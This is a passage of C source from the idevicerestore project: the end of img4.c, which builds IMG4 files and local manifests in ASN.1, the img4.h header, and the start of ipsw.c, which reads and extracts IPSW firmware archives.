*p_im4rset = im4rset; unsigned int im4rlen = 0; // ----------- ucon ------------ // write priv ucon element asn1_write_priv_element(&p_im4rset, &im4rlen, *(uint32_t*)"nocu"); // write ucon IA5STRING and ucon data unsigned char ucon_seq[16]; unsigned char *p_ucon_seq = &ucon_seq[0]; unsigned int ucon_seq_hdr_len = 0; asn1_write_element(&p_ucon_seq, &ucon_seq_hdr_len, ASN1_IA5_STRING, (void*)"ucon", -1); asn1_write_element_header(ASN1_OCTET_STRING, ucon_size, &p_ucon_seq, &ucon_seq_hdr_len); // write ucon sequence unsigned char elem_seq[8]; unsigned char *p = &elem_seq[0]; unsigned int seq_hdr_len = 0; asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, ucon_seq_hdr_len + ucon_size, &p, &seq_hdr_len); // add size to priv ucon element asn1_write_size(ucon_seq_hdr_len + ucon_size + seq_hdr_len, &p_im4rset, &im4rlen); // put it together memcpy(p_im4rset, elem_seq, seq_hdr_len); p_im4rset += seq_hdr_len; im4rlen += seq_hdr_len; memcpy(p_im4rset, ucon_seq, ucon_seq_hdr_len); p_im4rset += ucon_seq_hdr_len; im4rlen += ucon_seq_hdr_len; memcpy(p_im4rset, ucon_data, ucon_size); p_im4rset += ucon_size; im4rlen += ucon_size; // ----------- ucer ------------ // write priv ucer element asn1_write_priv_element(&p_im4rset, &im4rlen, *(uint32_t*)"recu"); // write ucon IA5STRING and ucer data unsigned char ucer_seq[16]; unsigned char *p_ucer_seq = &ucer_seq[0]; unsigned int ucer_seq_hdr_len = 0; asn1_write_element(&p_ucer_seq, &ucer_seq_hdr_len, ASN1_IA5_STRING, (void*)"ucer", -1); asn1_write_element_header(ASN1_OCTET_STRING, ucer_size, &p_ucer_seq, &ucer_seq_hdr_len); p = &elem_seq[0]; seq_hdr_len = 0; asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, ucer_seq_hdr_len + ucer_size, &p, &seq_hdr_len); // add size to priv ucer element asn1_write_size(ucer_seq_hdr_len + ucer_size + seq_hdr_len, &p_im4rset, &im4rlen); // put it together memcpy(p_im4rset, elem_seq, seq_hdr_len); p_im4rset += seq_hdr_len; im4rlen += seq_hdr_len; memcpy(p_im4rset, ucer_seq, ucer_seq_hdr_len); p_im4rset += ucer_seq_hdr_len; im4rlen += ucer_seq_hdr_len; memcpy(p_im4rset, ucer_data, ucer_size); p_im4rset += ucer_size; im4rlen += ucer_size; // now construct IM4R /* write inner set */ unsigned char inner_set_[8]; unsigned char *inner_set = &inner_set_[0]; unsigned int inner_set_len = 0; asn1_write_element_header(ASN1_SET | ASN1_CONSTRUCTED, im4rlen, &inner_set, &inner_set_len); /* write header values */ unsigned char hdrdata_[16]; unsigned char *hdrdata = &hdrdata_[0]; unsigned int hdrdata_len = 0; asn1_write_element(&hdrdata, &hdrdata_len, ASN1_IA5_STRING, (void*)"IM4R", -1); /* write sequence now that we know the entire size */ unsigned char seq_[8]; unsigned char *seq = &seq_[0]; unsigned int seq_len = 0; asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, im4rlen + inner_set_len + hdrdata_len, &seq, &seq_len); /* write outer cont[1] */ unsigned char cont_[8]; unsigned char *cont = &cont_[0]; unsigned int cont_len = 0; asn1_write_element_header(ASN1_CONTEXT_SPECIFIC | ASN1_CONSTRUCTED | 1, im4rlen + inner_set_len + hdrdata_len + seq_len, &cont, &cont_len); // now put everything together additional_data = malloc(im4rlen + inner_set_len + hdrdata_len + seq_len + cont_len); p = additional_data; memcpy(p, cont_, cont_len); p += cont_len; memcpy(p, seq_, seq_len); p += seq_len; memcpy(p, hdrdata_, hdrdata_len); p += hdrdata_len; memcpy(p, inner_set_, inner_set_len); p += inner_set_len; memcpy(p, im4rset, im4rlen); p += im4rlen; additional_size = (unsigned int)(p - additional_data); free(im4rset); } // create element header for the "IMG4" magic asn1_create_element_header(ASN1_IA5_STRING, IMG4_MAGIC_SIZE, &magic_header, &magic_header_size); // create element header for the blob (ApImg4Ticket) asn1_create_element_header(ASN1_CONTEXT_SPECIFIC|ASN1_CONSTRUCTED, blob_size, &blob_header, &blob_header_size); // calculate the size for the final IMG4 file (asn1 sequence) content_size = magic_header_size + IMG4_MAGIC_SIZE + component_size + blob_header_size + blob_size + additional_size; // create element header for the final IMG4 asn1 blob asn1_create_element_header(ASN1_SEQUENCE|ASN1_CONSTRUCTED, content_size, &img4header, &img4header_size); outbuf = (unsigned char*)malloc(img4header_size + content_size); if (!outbuf) { if (magic_header) { free(magic_header); } if (blob_header) { free(blob_header); } if (img4header) { free(img4header); } free(additional_data); error("ERROR: out of memory when personalizing IMG4 component %s\n", component_name); return -1; } p = outbuf; // now put everything together memcpy(p, img4header, img4header_size); p += img4header_size; memcpy(p, magic_header, magic_header_size); p += magic_header_size; memcpy(p, IMG4_MAGIC, IMG4_MAGIC_SIZE); p += IMG4_MAGIC_SIZE; memcpy(p, component_data, component_size); p += component_size; memcpy(p, blob_header, blob_header_size); p += blob_header_size; memcpy(p, blob, blob_size); p += blob_size; if (additional_size) { memcpy(p, additional_data, additional_size); p += additional_size; } *img4_data = outbuf; *img4_size = (p - outbuf); if (magic_header) { free(magic_header); } if (blob_header) { free(blob_header); } if (img4header) { free(img4header); } free(additional_data); return 0; } #ifndef __bswap_32 #define __bswap_32(x) ((((x) & 0xFF000000) >> 24) \ | (((x) & 0x00FF0000) >> 8) \ | (((x) & 0x0000FF00) << 8) \ | (((x) & 0x000000FF) << 24)) #endif static void _manifest_write_key_value(unsigned char **p, unsigned int *length, const char *tag, int type, void *value, int size) { uint32_t utag = __bswap_32(*(uint32_t*)tag); asn1_write_priv_element(p, length, utag); unsigned char *start = *p; unsigned char *outer_start = *p + 5; unsigned char *inner_start = *p + 5 + 6; unsigned int inner_length = 0; asn1_write_element(&inner_start, &inner_length, ASN1_IA5_STRING, (void*)tag, -1); asn1_write_element(&inner_start, &inner_length, type, value, size); unsigned int outer_length = 0; unsigned int this_length = 0; if (!value && size > 0) { asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_length + size, &outer_start, &outer_length); asn1_write_size(outer_length + inner_length + size, &start, &this_length); } else { asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_length, &outer_start, &outer_length); asn1_write_size(outer_length + inner_length, &start, &this_length); } memmove(start, outer_start - outer_length, outer_length); outer_start = start + outer_length; *length += this_length; *length += outer_length; memmove(outer_start, inner_start - inner_length, inner_length); *length += inner_length; *p += this_length + outer_length + inner_length; } static void _manifest_write_component(unsigned char **p, unsigned int *length, const char *tag, plist_t comp) { uint32_t utag = __bswap_32(*(uint32_t*)tag); asn1_write_priv_element(p, length, utag); unsigned char *start = *p; unsigned char *outer_start = *p + 5; unsigned char *inner_start = *p + 5 + 6; unsigned int inner_length = 0; asn1_write_element(&inner_start, &inner_length, ASN1_IA5_STRING, (void*)tag, -1); unsigned char tmp_[512] = { 0, }; unsigned int tmp_len = 0; unsigned char *tmp = &tmp_[0]; plist_t node = NULL; uint8_t boolval = 0; node = plist_dict_get_item(comp, "Digest"); if (node) { uint64_t digest_len = 0; const char *digest = plist_get_data_ptr(node, &digest_len); if (digest_len > 0) { _manifest_write_key_value(&tmp, &tmp_len, "DGST", ASN1_OCTET_STRING, (void*)digest, digest_len); } } node = plist_dict_get_item(comp, "Trusted"); if (node) { boolval = 0; plist_get_bool_val(node, &boolval); unsigned int int_bool_val = boolval; _manifest_write_key_value(&tmp, &tmp_len, "EKEY", ASN1_BOOLEAN, &int_bool_val, -1); } node = plist_dict_get_item(comp, "EPRO"); if (node) { boolval = 0; plist_get_bool_val(node, &boolval); unsigned int int_bool_val = boolval; _manifest_write_key_value(&tmp, &tmp_len, "EPRO", ASN1_BOOLEAN, &int_bool_val, -1); } node = plist_dict_get_item(comp, "ESEC"); if (node) { boolval = 0; plist_get_bool_val(node, &boolval); unsigned int int_bool_val = boolval; _manifest_write_key_value(&tmp, &tmp_len, "ESEC", ASN1_BOOLEAN, &int_bool_val, -1); } node = plist_dict_get_item(comp, "TBMDigests"); if (node) { uint64_t datalen = 0; const char *data = plist_get_data_ptr(node, &datalen); const char *tbmtag = NULL; if (!strcmp(tag, "sepi")) { tbmtag = "tbms"; } else if (!strcmp(tag, "rsep")) { tbmtag = "tbmr"; } if (!tbmtag) { error("ERROR: Unexpected TMBDigests for comp '%s'\n", tag); } else { _manifest_write_key_value(&tmp, &tmp_len, tbmtag, ASN1_OCTET_STRING, (void*)data, datalen); } } asn1_write_element_header(ASN1_SET | ASN1_CONSTRUCTED, tmp_len, &inner_start, &inner_length); memcpy(inner_start, tmp_, tmp_len); inner_start += tmp_len; inner_length += tmp_len; unsigned int outer_length = 0; asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_length, &outer_start, &outer_length); unsigned int this_length = 0; asn1_write_size(outer_length + inner_length, &start, &this_length); memmove(start, outer_start - outer_length, outer_length); outer_start = start + outer_length; *length += this_length; *length += outer_length; memmove(outer_start, inner_start - inner_length, inner_length); *length += inner_length; *p += this_length + outer_length + inner_length; } int img4_create_local_manifest(plist_t request, plist_t build_identity, plist_t* manifest) { if (!request || !manifest) { return -1; } unsigned char *buf = calloc(1, 65536); unsigned char *p = buf; unsigned int length = 0; uint64_t uintval = 0; unsigned int boolval = 0; unsigned char tmp_[1024]; unsigned char *tmp = &tmp_[0]; unsigned int tmp_len = 0; /* write manifest properties */ uintval = plist_dict_get_uint(request, "ApBoardID"); _manifest_write_key_value(&tmp, &tmp_len, "BORD", ASN1_INTEGER, &uintval, -1); uintval = 0; _manifest_write_key_value(&tmp, &tmp_len, "CEPO", ASN1_INTEGER, &uintval, -1); uintval = plist_dict_get_uint(request, "ApChipID"); _manifest_write_key_value(&tmp, &tmp_len, "CHIP", ASN1_INTEGER, &uintval, -1); boolval = plist_dict_get_bool(request, "ApProductionMode"); _manifest_write_key_value(&tmp, &tmp_len, "CPRO", ASN1_BOOLEAN, &boolval, -1); boolval = 0; _manifest_write_key_value(&tmp, &tmp_len, "CSEC", ASN1_BOOLEAN, &boolval, -1); uintval = plist_dict_get_uint(request, "ApSecurityDomain"); _manifest_write_key_value(&tmp, &tmp_len, "SDOM", ASN1_INTEGER, &uintval, -1); /* create manifest properties set */ _manifest_write_key_value(&p, &length, "MANP", ASN1_SET | ASN1_CONSTRUCTED, tmp_, tmp_len); plist_t component_manifest = NULL; if (build_identity) { component_manifest = plist_dict_get_item(build_identity, "Manifest"); } /* now write the components */ plist_dict_iter iter = NULL; plist_dict_new_iter(request, &iter); char *key = NULL; plist_t val = NULL; do { plist_dict_next_item(request, iter, &key, &val); if (val && plist_get_node_type(val) == PLIST_DICT) { const char *comp = NULL; /* check if component has Img4PayloadType */ if (component_manifest) { plist_t img4_comp = plist_access_path(component_manifest, 3, key, "Info", "Img4PayloadType"); if (img4_comp) { comp = plist_get_string_ptr(img4_comp, NULL); } } if (!comp) { comp = _img4_get_component_tag(key); } if (!comp) { debug("DEBUG: %s: Unhandled component '%s'\n", __func__, key); _manifest_write_component(&p, &length, key, val); } else { debug("DEBUG: found component %s (%s)\n", comp, key); _manifest_write_component(&p, &length, comp, val); } } free(key); } while (val); free(iter); /* write manifest body header */ unsigned char manb_[32]; unsigned char *manb = &manb_[0]; unsigned int manb_len = 0; _manifest_write_key_value(&manb, &manb_len, "MANB", ASN1_SET | ASN1_CONSTRUCTED, NULL, length); /* write inner set */ unsigned char inner_set_[8]; unsigned char *inner_set = &inner_set_[0]; unsigned int inner_set_len = 0; asn1_write_element_header(ASN1_SET | ASN1_CONSTRUCTED, length + manb_len, &inner_set, &inner_set_len); /* write header values */ unsigned char hdrdata_[16]; unsigned char *hdrdata = &hdrdata_[0]; unsigned int hdrdata_len = 0; asn1_write_element(&hdrdata, &hdrdata_len, ASN1_IA5_STRING, (void*)"IM4M", -1); uint64_t intval = 0; asn1_write_element(&hdrdata, &hdrdata_len, ASN1_INTEGER, &intval, -1); /* write outer sequence now that we know the entire size */ unsigned char seq_[8]; unsigned char *seq = &seq_[0]; unsigned int seq_len = 0; asn1_write_element_header(ASN1_SEQUENCE | ASN1_CONSTRUCTED, inner_set_len + length + manb_len + hdrdata_len, &seq, &seq_len); unsigned int header_len = seq_len + hdrdata_len + inner_set_len + manb_len; /* now put everything together */ memmove(buf + header_len, buf, length); unsigned char *hdr = buf; unsigned int hdr_len = 0; memcpy(hdr, seq_, seq_len); hdr += seq_len; hdr_len += seq_len; memcpy(hdr, hdrdata_, hdrdata_len); hdr += hdrdata_len; hdr_len += hdrdata_len; memcpy(hdr, inner_set_, inner_set_len); hdr += inner_set_len; hdr_len += inner_set_len; memcpy(hdr, manb_, manb_len); hdr += manb_len; hdr_len += manb_len; length += hdr_len; *manifest = plist_new_data((char*)buf, length); free(buf); return 0; } idevicerestore-master/src/img4.h000066400000000000000000000024171464320324600171730ustar00rootroot00000000000000/* * img4.h * Functions for handling the IMG4 format * * Copyright (c) 2013-2019 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_IMG4_H #define IDEVICERESTORE_IMG4_H #ifdef __cplusplus extern "C" { #endif int img4_stitch_component(const char* component_name, const unsigned char* component_data, unsigned int component_size, plist_t tss_response, unsigned char** img4_data, unsigned int *img4_size); int img4_create_local_manifest(plist_t request, plist_t build_identity, plist_t* manifest); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/ipsw.c000066400000000000000000001076501464320324600173150ustar00rootroot00000000000000/* * ipsw.c * Utilities for extracting and manipulating IPSWs * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ipsw.h" #include "locking.h" #include "download.h" #include "common.h" #include "idevicerestore.h" #define BUFSIZE 0x100000 static int cancel_flag = 0; static char* build_path(const char* path, const char* file) { size_t plen = strlen(path); size_t flen = strlen(file); char *fullpath = malloc(plen + flen + 2); if (!fullpath) { return NULL; } memcpy(fullpath, path, plen); fullpath[plen] = '/'; memcpy(fullpath+plen+1, file, flen); fullpath[plen+1+flen] = '\0'; return fullpath; } int ipsw_print_info(const char* path) { struct stat fst; if (stat(path, &fst) != 0) { error("ERROR: '%s': %s\n", path, strerror(errno)); return -1; } char thepath[PATH_MAX]; if (S_ISDIR(fst.st_mode)) { sprintf(thepath, "%s/BuildManifest.plist", path); if (stat(thepath, &fst) != 0) { error("ERROR: '%s': %s\n", thepath, strerror(errno)); return -1; } } else { sprintf(thepath, "%s", path); } FILE* f = fopen(thepath, "r"); if (!f) { error("ERROR: Can't open '%s': %s\n", thepath, strerror(errno)); return -1; } uint32_t magic; if (fread(&magic, 1, 4, f) != 4) { fclose(f); fprintf(stderr, "Failed to read from '%s'\n", path); return -1; } fclose(f); char* plist_buf = NULL; uint32_t plist_len = 0; if (memcmp(&magic, "PK\x03\x04", 4) == 0) { ipsw_archive_t ipsw = ipsw_open(thepath); unsigned int rlen = 0; if (ipsw_extract_to_memory(ipsw, "BuildManifest.plist", (unsigned char**)&plist_buf, &rlen) < 0) { ipsw_close(ipsw); error("ERROR: Failed to extract BuildManifest.plist from IPSW!\n"); return -1; } ipsw_close(ipsw); plist_len = (uint32_t)rlen; } else { size_t rlen = 0; if (read_file(thepath, (void**)&plist_buf, &rlen) < 0) { error("ERROR: Failed to read BuildManifest.plist!\n"); return -1; } plist_len = (uint32_t)rlen; } plist_t manifest = NULL; plist_from_memory(plist_buf, plist_len, &manifest, NULL); free(plist_buf); plist_t val; char* prod_ver = NULL; char* build_ver = NULL; val = plist_dict_get_item(manifest, "ProductVersion"); if (val) { plist_get_string_val(val, &prod_ver); } val = plist_dict_get_item(manifest, "ProductBuildVersion"); if (val) { plist_get_string_val(val, &build_ver); } cprintf(FG_WHITE "Product Version: " FG_BRIGHT_YELLOW "%s" COLOR_RESET FG_WHITE " Build: " FG_BRIGHT_YELLOW "%s" COLOR_RESET "\n", prod_ver, build_ver); free(prod_ver); free(build_ver); cprintf(FG_WHITE "Supported Product Types:" COLOR_RESET); val = plist_dict_get_item(manifest, "SupportedProductTypes"); if (val) { plist_array_iter iter = NULL; plist_array_new_iter(val, &iter); if (iter) { plist_t item = NULL; do { plist_array_next_item(val, iter, &item); if (item) { char* item_str = NULL; plist_get_string_val(item, &item_str); cprintf(" " FG_BRIGHT_CYAN "%s" COLOR_RESET, item_str); free(item_str); } } while (item); free(iter); } } cprintf("\n"); cprintf(FG_WHITE "Build Identities:" COLOR_RESET "\n"); plist_t build_ids_grouped = plist_new_dict(); plist_t build_ids = plist_dict_get_item(manifest, "BuildIdentities"); plist_array_iter build_id_iter = NULL; plist_array_new_iter(build_ids, &build_id_iter); if (build_id_iter) { plist_t build_identity = NULL; do { plist_array_next_item(build_ids, build_id_iter, &build_identity); if (!build_identity) { break; } plist_t node; char* variant_str = NULL; node = plist_access_path(build_identity, 2, "Info", "Variant"); plist_get_string_val(node, &variant_str); plist_t entries = NULL; plist_t group = plist_dict_get_item(build_ids_grouped, variant_str); if (!group) { group = plist_new_dict(); node = plist_access_path(build_identity, 2, "Info", "RestoreBehavior"); if (node) { plist_dict_set_item(group, "RestoreBehavior", plist_copy(node)); } else { if (strstr(variant_str, "Upgrade")) { plist_dict_set_item(group, "RestoreBehavior", plist_new_string("Update")); } else if (strstr(variant_str, "Erase")) { plist_dict_set_item(group, "RestoreBehavior", plist_new_string("Erase")); } } entries = plist_new_array(); plist_dict_set_item(group, "Entries", entries); plist_dict_set_item(build_ids_grouped, variant_str, group); } else { entries = plist_dict_get_item(group, "Entries"); } free(variant_str); plist_array_append_item(entries, plist_copy(build_identity)); } while (build_identity); free(build_id_iter); } plist_dict_iter build_ids_group_iter = NULL; plist_dict_new_iter(build_ids_grouped, &build_ids_group_iter); if (build_ids_group_iter) { plist_t group = NULL; int group_no = 0; do { group = NULL; char* key = NULL; plist_dict_next_item(build_ids_grouped, build_ids_group_iter, &key, &group); if (!key) { break; } plist_t node; char* rbehavior = NULL; group_no++; node = plist_dict_get_item(group, "RestoreBehavior"); plist_get_string_val(node, &rbehavior); cprintf(" " FG_WHITE "[%d] Variant: " FG_BRIGHT_CYAN "%s" FG_WHITE " Behavior: " FG_BRIGHT_CYAN "%s" COLOR_RESET "\n", group_no, key, rbehavior); free(key); free(rbehavior); build_ids = plist_dict_get_item(group, "Entries"); if (!build_ids) { continue; } build_id_iter = NULL; plist_array_new_iter(build_ids, &build_id_iter); if (!build_id_iter) { continue; } plist_t build_id; do { build_id = NULL; plist_array_next_item(build_ids, build_id_iter, &build_id); if (!build_id) { break; } uint64_t chip_id = 0; uint64_t board_id = 0; char* hwmodel = NULL; node = plist_dict_get_item(build_id, "ApChipID"); if (PLIST_IS_STRING(node)) { char* strval = NULL; plist_get_string_val(node, &strval); if (strval) { chip_id = strtoull(strval, NULL, 0); free(strval); } } else { plist_get_uint_val(node, &chip_id); } node = plist_dict_get_item(build_id, "ApBoardID"); if (PLIST_IS_STRING(node)) { char* strval = NULL; plist_get_string_val(node, &strval); if (strval) { board_id = strtoull(strval, NULL, 0); free(strval); } } else { plist_get_uint_val(node, &board_id); } node = plist_access_path(build_id, 2, "Info", "DeviceClass"); plist_get_string_val(node, &hwmodel); irecv_device_t irecvdev = NULL; if (irecv_devices_get_device_by_hardware_model(hwmodel, &irecvdev) == 0) { cprintf(" ChipID: " FG_GREEN "%04x" COLOR_RESET " BoardID: " FG_GREEN "%02x" COLOR_RESET " Model: " FG_YELLOW "%-8s" COLOR_RESET " " FG_MAGENTA "%s" COLOR_RESET "\n", (int)chip_id, (int)board_id, hwmodel, irecvdev->display_name); } else { cprintf(" ChipID: " FG_GREEN "%04x" COLOR_RESET " BoardID: " FG_GREEN "%02x" COLOR_RESET " Model: " FG_YELLOW "%s" COLOR_RESET "\n", (int)chip_id, (int)board_id, hwmodel); } free(hwmodel); } while (build_id); free(build_id_iter); } while (group); free(build_ids_group_iter); } plist_free(build_ids_grouped); plist_free(manifest); return 0; } ipsw_archive_t ipsw_open(const char* ipsw) { int err = 0; ipsw_archive_t archive = (ipsw_archive_t)calloc(1, sizeof(struct ipsw_archive)); if (archive == NULL) { error("ERROR: Out of memory\n"); return NULL; } struct stat fst; if (stat(ipsw, &fst) != 0) { error("ERROR: ipsw_open %s: %s\n", ipsw, strerror(errno)); return NULL; } if (S_ISDIR(fst.st_mode)) { archive->zip = 0; } else { struct zip *zip = zip_open(ipsw, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw, err); free(archive); return NULL; } archive->zip = 1; } archive->path = strdup(ipsw); return (ipsw_archive_t)archive; } void ipsw_close(ipsw_archive_t ipsw) { if (ipsw != NULL) { free(ipsw->path); free(ipsw); } } int ipsw_is_directory(const char* ipsw) { struct stat fst; memset(&fst, '\0', sizeof(fst)); if (stat(ipsw, &fst) != 0) { return 0; } return S_ISDIR(fst.st_mode); } int ipsw_get_file_size(ipsw_archive_t ipsw, const char* infile, uint64_t* size) { if (ipsw == NULL) { error("ERROR: Invalid archive\n"); return -1; } if (ipsw->zip) { int err = 0; struct zip *zip = zip_open(ipsw->path, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw->path, err); return -1; } int zindex = zip_name_locate(zip, infile, 0); if (zindex < 0) { error("ERROR: zip_name_locate: %s\n", infile); zip_unchange_all(zip); zip_close(zip); return -1; } struct zip_stat zstat; zip_stat_init(&zstat); if (zip_stat_index(zip, zindex, 0, &zstat) != 0) { error("ERROR: zip_stat_index: %s\n", infile); zip_unchange_all(zip); zip_close(zip); return -1; } zip_unchange_all(zip); zip_close(zip); *size = zstat.size; } else { char *filepath = build_path(ipsw->path, infile); struct stat fst; if (stat(filepath, &fst) != 0) { free(filepath); return -1; } free(filepath); *size = fst.st_size; } return 0; } int ipsw_extract_to_file_with_progress(ipsw_archive_t ipsw, const char* infile, const char* outfile, int print_progress) { int ret = 0; if (!ipsw || !infile || !outfile) { error("ERROR: Invalid argument\n"); return -1; } cancel_flag = 0; if (ipsw->zip) { int err = 0; struct zip *zip = zip_open(ipsw->path, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw->path, err); return -1; } int zindex = zip_name_locate(zip, infile, 0); if (zindex < 0) { zip_unchange_all(zip); zip_close(zip); error("ERROR: zip_name_locate: %s\n", infile); return -1; } struct zip_stat zstat; zip_stat_init(&zstat); if (zip_stat_index(zip, zindex, 0, &zstat) != 0) { zip_unchange_all(zip); zip_close(zip); error("ERROR: zip_stat_index: %s\n", infile); return -1; } char* buffer = (char*) malloc(BUFSIZE); if (buffer == NULL) { zip_unchange_all(zip); zip_close(zip); error("ERROR: Unable to allocate memory\n"); return -1; } struct zip_file* zfile = zip_fopen_index(zip, zindex, 0); if (zfile == NULL) { zip_unchange_all(zip); zip_close(zip); error("ERROR: zip_fopen_index: %s\n", infile); return -1; } FILE* fd = fopen(outfile, "wb"); if (fd == NULL) { zip_fclose(zfile); zip_unchange_all(zip); zip_close(zip); error("ERROR: Unable to open output file: %s\n", outfile); return -1; } uint64_t i, bytes = 0; int count, size = BUFSIZE; double progress; for(i = zstat.size; i > 0; i -= count) { if (cancel_flag) { break; } if (i < BUFSIZE) size = i; count = zip_fread(zfile, buffer, size); if (count < 0) { int zep = 0; int sep = 0; zip_file_error_get(zfile, &zep, &sep); error("ERROR: zip_fread: %s %d %d\n", infile, zep, sep); ret = -1; break; } if (fwrite(buffer, 1, count, fd) != count) { error("ERROR: Writing to '%s' failed: %s\n", outfile, strerror(errno)); ret = -1; break; } bytes += size; if (print_progress) { progress = ((double)bytes / (double)zstat.size) * 100.0; print_progress_bar(progress); } } free(buffer); fclose(fd); zip_fclose(zfile); zip_unchange_all(zip); zip_close(zip); } else { char *filepath = build_path(ipsw->path, infile); char actual_filepath[PATH_MAX+1]; char actual_outfile[PATH_MAX+1]; if (!filepath) { ret = -1; goto leave; } if (!realpath(filepath, actual_filepath)) { error("ERROR: realpath failed on %s: %s\n", filepath, strerror(errno)); ret = -1; goto leave; } else { actual_outfile[0] = '\0'; if (realpath(outfile, actual_outfile) && (strcmp(actual_filepath, actual_outfile) == 0)) { /* files are identical */ ret = 0; } else { if (actual_outfile[0] == '\0') { strcpy(actual_outfile, outfile); } FILE *fi = fopen(actual_filepath, "rb"); if (!fi) { error("ERROR: fopen: %s: %s\n", actual_filepath, strerror(errno)); ret = -1; goto leave; } struct stat fst; if (fstat(fileno(fi), &fst) != 0) { fclose(fi); error("ERROR: fstat: %s: %s\n", actual_filepath, strerror(errno)); ret = -1; goto leave; } FILE *fo = fopen(actual_outfile, "wb"); if (!fo) { fclose(fi); error("ERROR: fopen: %s: %s\n", actual_outfile, strerror(errno)); ret = -1; goto leave; } char* buffer = (char*) malloc(BUFSIZE); if (buffer == NULL) { fclose(fi); fclose(fo); error("ERROR: Unable to allocate memory\n"); ret = -1; goto leave;; } uint64_t bytes = 0; double progress; while (!feof(fi)) { if (cancel_flag) { break; } ssize_t r = fread(buffer, 1, BUFSIZE, fi); if (r < 0) { error("ERROR: fread failed: %s\n", strerror(errno)); ret = -1; break; } if (fwrite(buffer, 1, r, fo) != r) { error("ERROR: Writing to '%s' failed: %s\n", actual_outfile, strerror(errno)); ret = -1; break; } bytes += r; if (print_progress) { progress = ((double)bytes / (double)fst.st_size) * 100.0; print_progress_bar(progress); } } free(buffer); fclose(fi); fclose(fo); } } leave: free(filepath); } if (cancel_flag) { ret = -2; } return ret; } int ipsw_extract_to_file(ipsw_archive_t ipsw, const char* infile, const char* outfile) { return ipsw_extract_to_file_with_progress(ipsw, infile, outfile, 0); } int ipsw_file_exists(ipsw_archive_t ipsw, const char* infile) { if (!ipsw) { return 0; } if (ipsw->zip) { int err = 0; struct zip *zip = zip_open(ipsw->path, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw->path, err); return 0; } int zindex = zip_name_locate(zip, infile, 0); zip_unchange_all(zip); zip_close(zip); if (zindex < 0) { return 0; } } else { char *filepath = build_path(ipsw->path, infile); if (access(filepath, R_OK) != 0) { free(filepath); return 0; } free(filepath); } return 1; } int ipsw_extract_to_memory(ipsw_archive_t ipsw, const char* infile, unsigned char** pbuffer, unsigned int* psize) { size_t size = 0; unsigned char* buffer = NULL; if (ipsw == NULL) { error("ERROR: Invalid archive\n"); return -1; } if (ipsw->zip) { int err = 0; struct zip *zip = zip_open(ipsw->path, 0, &err); if (zip == NULL) { error("ERROR: zip_open: %s: %d\n", ipsw->path, err); return -1; } int zindex = zip_name_locate(zip, infile, 0); if (zindex < 0) { zip_unchange_all(zip); zip_close(zip); debug("NOTE: zip_name_locate: '%s' not found in archive.\n", infile); return -1; } struct zip_stat zstat; zip_stat_init(&zstat); if (zip_stat_index(zip, zindex, 0, &zstat) != 0) { zip_unchange_all(zip); zip_close(zip); error("ERROR: zip_stat_index: %s\n", infile); return -1; } struct zip_file* zfile = zip_fopen_index(zip, zindex, 0); if (zfile == NULL) { zip_unchange_all(zip); zip_close(zip); error("ERROR: zip_fopen_index: %s\n", infile); return -1; } size = zstat.size; buffer = (unsigned char*) malloc(size+1); if (buffer == NULL) { error("ERROR: Out of memory\n"); zip_fclose(zfile); zip_unchange_all(zip); zip_close(zip); return -1; } zip_int64_t zr = zip_fread(zfile, buffer, size); zip_fclose(zfile); zip_unchange_all(zip); zip_close(zip); if (zr < 0) { int zep = 0; int sep = 0; zip_file_error_get(zfile, &zep, &sep); error("ERROR: zip_fread: %s %d %d\n", infile, zep, sep); free(buffer); return -1; } else if (zr != size) { error("ERROR: zip_fread: %s got only %lld of %zu\n", infile, zr, size); free(buffer); return -1; } buffer[size] = '\0'; } else { char *filepath = build_path(ipsw->path, infile); struct stat fst; #ifdef WIN32 if (stat(filepath, &fst) != 0) { #else if (lstat(filepath, &fst) != 0) { #endif error("ERROR: %s: stat failed for %s: %s\n", __func__, filepath, strerror(errno)); free(filepath); return -1; } size = fst.st_size; buffer = (unsigned char*)malloc(size+1); if (buffer == NULL) { error("ERROR: Out of memory\n"); free(filepath); return -1; } #ifndef WIN32 if (S_ISLNK(fst.st_mode)) { if (readlink(filepath, (char*)buffer, size) < 0) { error("ERROR: %s: readlink failed for %s: %s\n", __func__, filepath, strerror(errno)); free(filepath); free(buffer); return -1; } } else { #endif FILE *f = fopen(filepath, "rb"); if (!f) { error("ERROR: %s: fopen failed for %s: %s\n", __func__, filepath, strerror(errno)); free(filepath); free(buffer); return -2; } if (fread(buffer, 1, size, f) != size) { fclose(f); error("ERROR: %s: fread failed for %s: %s\n", __func__, filepath, 